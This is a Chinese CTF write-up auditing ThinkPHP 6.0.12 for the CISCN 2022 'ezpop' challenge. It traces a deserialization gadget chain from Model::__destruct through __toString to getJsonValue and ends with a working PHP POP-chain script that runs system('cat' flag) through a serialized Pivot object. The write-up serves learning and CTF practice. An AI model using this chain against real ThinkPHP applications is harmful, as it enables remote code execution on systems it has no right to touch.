[CISCN 2022 初赛]ezpop(ThinkPHP6.0.12LTS代码审计)

https://xz.aliyun.com/t/11531#toc-3

https://www.nssctf.cn/note/set/4490

因为在学习的过程中间发现自己必须学会审计一些代码,因为自己之前也没有认真的进行过审计,之前遇到了一个thinkphp的题目,但是直接利用了exp,没有仔细审过,所以这次我想仔细审一下,也算是希望自己能够真正进步和成长吧。

1、准备工作

就是使用composer安装

https://www.phpcomposer.com/

composer create-project topthink/think tp6 6.0.12

或者直接打开nssctf题目的环境访问/www.zip下载源码,然后在本地用phpstorm审。

https://www.nssctf.cn/problem/2347

2、找反序列化入口点__destruct

​ 入口点是__destruct,来触发下一步函数的执行

​ 使用ctrl+shift+F全局搜索__destruct,这里注意在搜索这一栏选择目录(D)这一栏,如果选择在项目(P)或者模块(M)或者作用域(S)这几栏的话会搜索不到,😅。
在这里插入图片描述在这里插入图片描述

vendor\topthink\think-orm\src\Model.php
public function __destruct(){
    if($this->lazySave){
        $this->save();
    }
}

这里我们按ctrl+B可以追踪到save

public function save(array $data = [], string $sequence = null): bool
{
    // 数据对象赋值
    $this->setAttrs($data);

    if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
        return false;
    }

    $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

    if (false === $result) {
        return false;
    }

    // 写入回调
    $this->trigger('AfterWrite');

    // 重新记录原始数据
    $this->origin   = $this->data;
    $this->get      = [];
    $this->lazySave = false;

    return true;
}

​ 我们从前往后看,其中$this->isEmpty()false === $this->trigger('BeforeWrite')这两个式子只要一个为真,就会返回False,所以需要让它们均为假才可以,即$this->isEmpty为False,$this->trigger('BeforeWrite')为true

我们先看第二个,我们再按ctrl+B可以追踪到trigger

protected function trigger(string $event): bool
{
    if (!$this->withEvent) {
        return true;
    }

    $call = 'on' . Str::studly($event);

    try {
        if (method_exists(static::class, $call)) {
            $result = call_user_func([static::class, $call], $this);
        } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
            $result = self::$event->trigger('model.' . static::class . '.' . $event, $this);
            $result = empty($result) ? true : end($result);
        } else {
            $result = true;
        }

        return false === $result ? false : true;
    } catch (ModelEventException $e) {
        return false;
    }
}

$this->withEvent为False就可以返回true

搜索withEvent

public function withEvent(bool $event)
{
    $this->withEvent = $event;
    return $this;
}

然后再看isEmpty,最后是跟进到了empty()函数

public function isEmpty(): bool
{
    return empty($this->data);
}
function PS_UNRESERVE_PREFIX_empty($var) {}

empty中,参数是非空非零会返回false,下面这些都是空

  • ""(空字符串)
  • 0(整型零)
  • 0.0(浮点零)
  • "0"(字符串零)
  • NULL
  • FALSE
  • 一个空的数组
  • 一个空的对象,包括类的对象

那只要让$this->data不为空就可以,现在已经成功跳过第一个if,汗颜🥵💦

接下来来到一个三元运算符

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

​ 意思就是如果this->existstrue,则执行updateData(),反之,则执行$this->insertData($sequence),这里$this->exists是可控的,先跟进updateData()

protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
    return false;
}

$this->checkData();

// 获取有更新的数据
$data = $this->getChangedData();

if (empty($data)) {
    // 关联更新
    if (!empty($this->relationWrite)) {
        $this->autoRelationUpdate();
    }

    return true;
}

if ($this->autoWriteTimestamp && $this->updateTime) {
    // 自动写入更新时间
    $data[$this->updateTime]       = $this->autoWriteTimestamp();
    $this->data[$this->updateTime] = $data[$this->updateTime];
}

// 检查允许字段
$allowFields = $this->checkAllowFields();

foreach ($this->relationWrite as $name => $val) {
    if (!is_array($val)) {
        continue;
    }

    foreach ($val as $key) {
        if (isset($data[$key])) {
            unset($data[$key]);
        }
    }
}

​ 和刚才trigger一样,第二个if要传入非空的data,就可以走到$allowFields=$this->checkAllowFields,但是$data$this->getChangeData得来的,所以我们跟进getChangeData()函数

public function getChangedData(): array
{
    $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
        if ((empty($a) || empty($b)) && $a !== $b) {
            return 1;
        }

        return is_object($a) || $a != $b ? 1 : 0;
    });

    // 只读字段不允许更新
    foreach ($this->readonly as $key => $field) {
        if (array_key_exists($field, $data)) {
            unset($data[$field]);
        }
    }

    return $data;
}

这里$this->force的默认值是false,所以会执行后面的array_udiff_assoc()函数,就是用下面的自定义函数来比较$this->data$this->origin,而两者默认为null,所以$a==$b,那么$a!==$b就会判断失败,执行return is_object($a) || $a != $b 1:0;,最终会返回0赋值给$data,为非空值,成功进入$allowFields = $this->checkAllowFields();,继续跟进

protected function checkAllowFields(): array
{
    // 检测字段
    if (empty($this->field)) {
        if (!empty($this->schema)) {
            $this->field = array_keys(array_merge($this->schema, $this->jsonType));
        } else {
            $query = $this->db();
            $table = $this->table ? $this->table . $this->suffix : $query->getTable();

            $this->field = $query->getConnection()->getTableFields($table);
        }

        return $this->field;
    }

    $field = $this->field;

    if ($this->autoWriteTimestamp) {
        array_push($field, $this->createTime, $this->updateTime);
    }

    if (!empty($this->disuse)) {
        // 废弃字段
        $field = array_diff($field, $this->disuse);
    }

    return $field;
}

this->field默认为空,进入if语句,$this->schema也默认为空,返回true,但是前面加了个!则进入else语句,然后我们跟进$this->db(),

public function db($scope = []): Query
{
    /** @var Query $query */
    $query = self::$db->connect($this->connection)
        ->name($this->name . $this->suffix)
        ->pk($this->pk);

    if (!empty($this->table)) {
        $query->table($this->table . $this->suffix);
    }

    $query->model($this)
        ->json($this->json, $this->jsonAssoc)
        ->setFieldType(array_merge($this->schema, $this->jsonType));

    // 软删除
    if (property_exists($this, 'withTrashed') && !$this->withTrashed) {
        $this->withNoTrashed($query);
    }

    // 全局作用域
    if (is_array($scope)) {
        $globalScope = array_diff($this->globalScope, $scope);
        $query->scope($globalScope);
    }

    // 返回当前模型的数据库查询对象
    return $query;
}

$this->table可控,能够进入到if里面,由于用了.来拼接$this->table$this->suffix,那么就是把这两个变量当作字符串来处理,倘若传入对象,则会触发__toString,那么现在可以寻找__toString了,到这里还完成了不到一半!嘿,撸起袖子加油干,小伙子!!继续!!

3、继续利用寻找__toString

​ 按键ctrl+shift+F,在目录(D)全局搜索__toString

​ 在www/vendor/topthink/think-orm/src/model/concern/Conversion.php里的__toString调用了toJson(),继续跟进,再跟进toArray()

public function __toString()
{
    return $this->toJson();
}
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
    return json_encode($this->toArray(), $options);
}
public function toArray(): array
{
$item       = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
    if (is_string($val)) {
        if (strpos($val, '.')) {
            [$relation, $name]          = explode('.', $val);
            $this->visible[$relation][] = $name;
        } else {
            $this->visible[$val] = true;
            $hasVisible          = true;
        }
        unset($this->visible[$key]);
    }
}

foreach ($this->hidden as $key => $val) {
    if (is_string($val)) {
        if (strpos($val, '.')) {
            [$relation, $name]         = explode('.', $val);
            $this->hidden[$relation][] = $name;
        } else {
            $this->hidden[$val] = true;
        }
        unset($this->hidden[$key]);
    }
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
    if ($val instanceof Model || $val instanceof ModelCollection) {
        // 关联模型对象
        if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
            $val->visible($this->visible[$key]);
        } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
            $val->hidden($this->hidden[$key]);
        }
        // 关联模型对象
        if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
            $item[$key] = $val->toArray();
        }
    } elseif (isset($this->visible[$key])) {
        $item[$key] = $this->getAttr($key);
    } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
        $item[$key] = $this->getAttr($key);
    }

    if (isset($this->mapping[$key])) {
        // 检查字段映射
        $mapName        = $this->mapping[$key];
        $item[$mapName] = $item[$key];
        unset($item[$key]);
    }
}

看到有一个合并关联数据

$data=array_merge($this->data,$this->relation),它将两个数组合并,接下来遍历,中间用到getAttr()函数,跟进

public function getAttr(string $name)
{
    try {
        $relation = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $relation = $this->isRelationAttr($name);
        $value    = null;
    }

    return $this->getValue($name, $value, $relation);
}

$relation默认是false的,$valuegetData获取,然后传到getValue(),跟进getData()看看

public function getData(string $name = null)
{
    if (is_null($name)) {
        return $this->data;
    }

    $fieldName = $this->getRealFieldName($name);

    if (array_key_exists($fieldName, $this->data)) {
        return $this->data[$fieldName];
    } elseif (array_key_exists($fieldName, $this->relation)) {
        return $this->relation[$fieldName];
    }

    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

里面调用的getRealFieldName跟利用链关系不大,我们看getValue()

protected function getValue(string $name, $value, $relation = false)
    {
    // 检测属性获取器
    $fieldName = $this->getRealFieldName($name);

    if (array_key_exists($fieldName, $this->get)) {
        return $this->get[$fieldName];
    }

    $method = 'get' . Str::studly($name) . 'Attr';
    if (isset($this->withAttr[$fieldName])) {
        if ($relation) {
            $value = $this->getRelationValue($relation);
        }

        if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
            $value = $this->getJsonValue($fieldName, $value);
...
    }

如果$fieldName存在于this->json中,且$this->withAttr[$fieldName]是数组,那么就能执行getJsonValue

protected function getJsonValue($name, $value)
{
    if (is_null($value)) {
        return $value;
    }

    foreach ($this->withAttr[$name] as $key => $closure) {
        if ($this->jsonAssoc) {
            $value[$key] = $closure($value[$key], $value);
        } else {
            $value->$key = $closure($value->$key, $value);
        }
    }

    return $value;
}

4、找到利用点,变量覆盖进行RCE

这里遍历$this->withAttr[name]的键值,$this->jsonAssoc默认为false,控制$this->jsonAssoc的值为true,就可以进行变量覆盖RCE,$closure($value[key])

​ 然后整理一下

Conversion::__toString()
Conversion::toJson()
Conversion::toArray() //$this->data
Attribute::getAttr()
Attribute::getValue()  //$this->json   $this->withAttr
Attribute::getJsonValue()

data是可控的,如果控制data为$this->data=['whoami'=>['whoami']],经过foreach传入Attribute::getAttr,key就是whoami

public function toArray(): array
{
...
    // 合并关联数据
    $data = array_merge($this->data, $this->relation);
//$this->data=['whoami'=>['whoami']]
    foreach ($data as $key => $val) {
...
            // 关联模型对象
            if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                $item[$key] = $val->toArray();
            }
        } elseif (isset($this->visible[$key])) {
            $item[$key] = $this->getAttr($key);
        } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
            $item[$key] = $this->getAttr($key);//$key=whoami
        }
...
}
public function getAttr(string $name)
{
    try {
        $relation = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $relation = $this->isRelationAttr($name);
        $value    = null;
    }

    return $this->getValue($name, $value, $relation);
}

getAttr()里用的是getData()来获取来获取value的,刚才我们控制了data为键值对,即$this->data=['whoami'=>['whoami']],keywhami,值是['whoami'],最终$value=['whoami'],刚才说了$this->withAttr存在且为数组,$fieldName$this->json中就能执行getJsonValue

if (isset($this->withAttr[$fieldName])) {
    if ($relation) {
        $value = $this->getRelationValue($relation);
    }

    if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
        $value = $this->getJsonValue($fieldName, $value);

控制$this->withAttr=['whoami'=>['system']],$this->json=['whoami'],进入最后的getJsonValue()

protected function getJsonValue($name, $value)
{
    if (is_null($value)) {
        return $value;
    }

    foreach ($this->withAttr[$name] as $key => $closure) {
        if ($this->jsonAssoc) {
            $value[$key] = $closure($value[$key], $value);
        } else {
            $value->$key = $closure($value->$key, $value);
        }
    }

    return $value;
}

$name='whoami',$value=['whoami'],$this->withAttr[$name]=['system']

poc构造的角度结束,构造exp看看__destruct的利用过程

MOdel::__destruct()
Model::save()
Model::updateData()
Model::checkAllowFields()
Model::db() //__toString
public function __destruct(){
    if($this->lazySave){ //控制$this->lazySave=true
        $this->save();
    }
}
if($this->isEmpty() || false === $this->trigger('BeforeWrite')){  //$this->data非空即可
    return false;
}

result = $this->exists ? $this->updateData() : $this->insertData($sequence);  //控制$this->exist为true

然后到Model::db()

 public function db($scope = []): Query
{
    /** @var Query $query */
    $query = self::$db->connect($this->connection)
        ->name($this->name . $this->suffix)
        ->pk($this->pk);

    if (!empty($this->table)) {
        $query->table($this->table . $this->suffix);
    }//控制$this->talbe为实例化的对象当做字符串调用触发__toString()

...
}

Model是抽象类,利用了我们涉及到的AttributeConversion接口,关键字可以直接使用

abstract class Model implements JsonSerializable,ArrayAccess,Arrayable,Jsonable{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;
}

5、开始构造

寻找一个可以被实例化的Model子类开始构造

<?php
// 保证命名空间的一致
namespace think {
    // Model需要是抽象类
    abstract class Model {
        // 需要用到的关键字
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;

        // 初始化
        public function __construct($obj='') {
            $this->lazySave = true;
            $this->data = ['whoami'=>['cat$IFS$9/nssctfflag']];
            $this->exists = true;
            $this->table = $obj;    // 触发__toString
            $this->withAttr = ['whoami'=>['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        
    }
    
    // 实例化
    $p = new Pivot(new Pivot());
    echo 'a='.urlencode(serialize($p));
}

在源码里有一个index.php,里面有test路由,反序列化了post的传参a。在 ThinkPHP 框架中,路由通常不区分大小写。

如果一次失败了,就关掉环境重开。

在这里插入图片描述

​ 最后的最后,我想说,能找到链子的人是真牛啊,感觉以我现在的能力,能做到这样是根本不可能的。至此,第一次比较完整的代码审计就到此结束啦,耗时昨天和今天的空余时间,一万五千多字欸,都不敢相信这是自己能够完成的。但是主要是跟着前辈的笔记才慢慢审下来的。总之就是,这算是一个好的开端吧,希望自己能够继续坚持下去,不要因为困难而退缩。希望能够遇见更好的自己吧。说到这里,今天下午军事理论下课交作业的时候,我的杯子不小心打破了呢🥹,哎,碎碎平安吧。就是感觉每天还是要找一些理由让自己快乐一点,希望大家也是!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值